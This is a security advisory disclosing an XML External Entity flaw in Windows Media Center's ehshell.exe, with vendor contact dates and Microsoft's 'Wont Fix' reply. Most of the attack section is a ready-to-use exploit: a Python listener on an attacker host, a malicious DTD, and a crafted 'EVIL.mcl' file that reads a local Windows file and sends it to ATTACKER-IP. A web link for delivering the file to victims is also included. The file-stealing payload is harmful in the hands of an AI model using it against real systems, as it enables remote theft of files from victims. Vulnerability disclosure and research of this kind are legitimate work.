Windows Media Center 6.1.7600 XXE Injection

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MEDIA-CENTER-XXE-FILE-DISCLOSURE.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
==================  
www.microsoft.com  
  
  
  
Product:  
==================================  
Windows Media Center "ehshell.exe"  
version 6.1.7600  
  
  
  
Vulnerability Type:  
====================  
XML External Entity  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
Windows Media Center "ehshell.exe" is vulnerable to XML External Entity  
attack allowing remote access to ANY files on a victims computer, if they  
open  
an XXE laden ".mcl" file via a remote share / USB or from an malicious  
"windowsmediacenterweb" web link.  
  
Sometimes 'Windows Media Center' will crash, sometimes opens normally and  
other times will not open, but the files get accessed and exfiltrated.  
  
  
Tested Windows 7 SP1  
  
  
  
Exploit code(s):  
===============  
  
POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.  
  
  
1) ATTACKER-IP listener  
python -m SimpleHTTPServer 8080  
  
  
  
2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on  
ATTACKER-IP in directory where python server is listen)  
  
<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM '  
http://ATTACKER-IP:8080/%data666;'>">  
  
  
  
3) Create the "EVIL.mcl" file.  
  
  
<?xml version="1.0"?>  
<!DOCTYPE hyp3rlinx [  
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">  
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd">  
%junk;  
%param666;  
%FindMeThatBiotch;  
]>  
  
  
  
4) Get victim to open the EVIL.mcl ... enjoy your files!  
  
OR create link on webpage to run the file, but "user has to consent first".  
  
<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>  
  
  
  
Disclosure Timeline:  
=======================================  
Vendor Notification: September 1, 2016  
Vendor opens Case 34970: September 6, 2016  
Vendor reply "Wont Fix" : October 19, 2016  
December 4, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`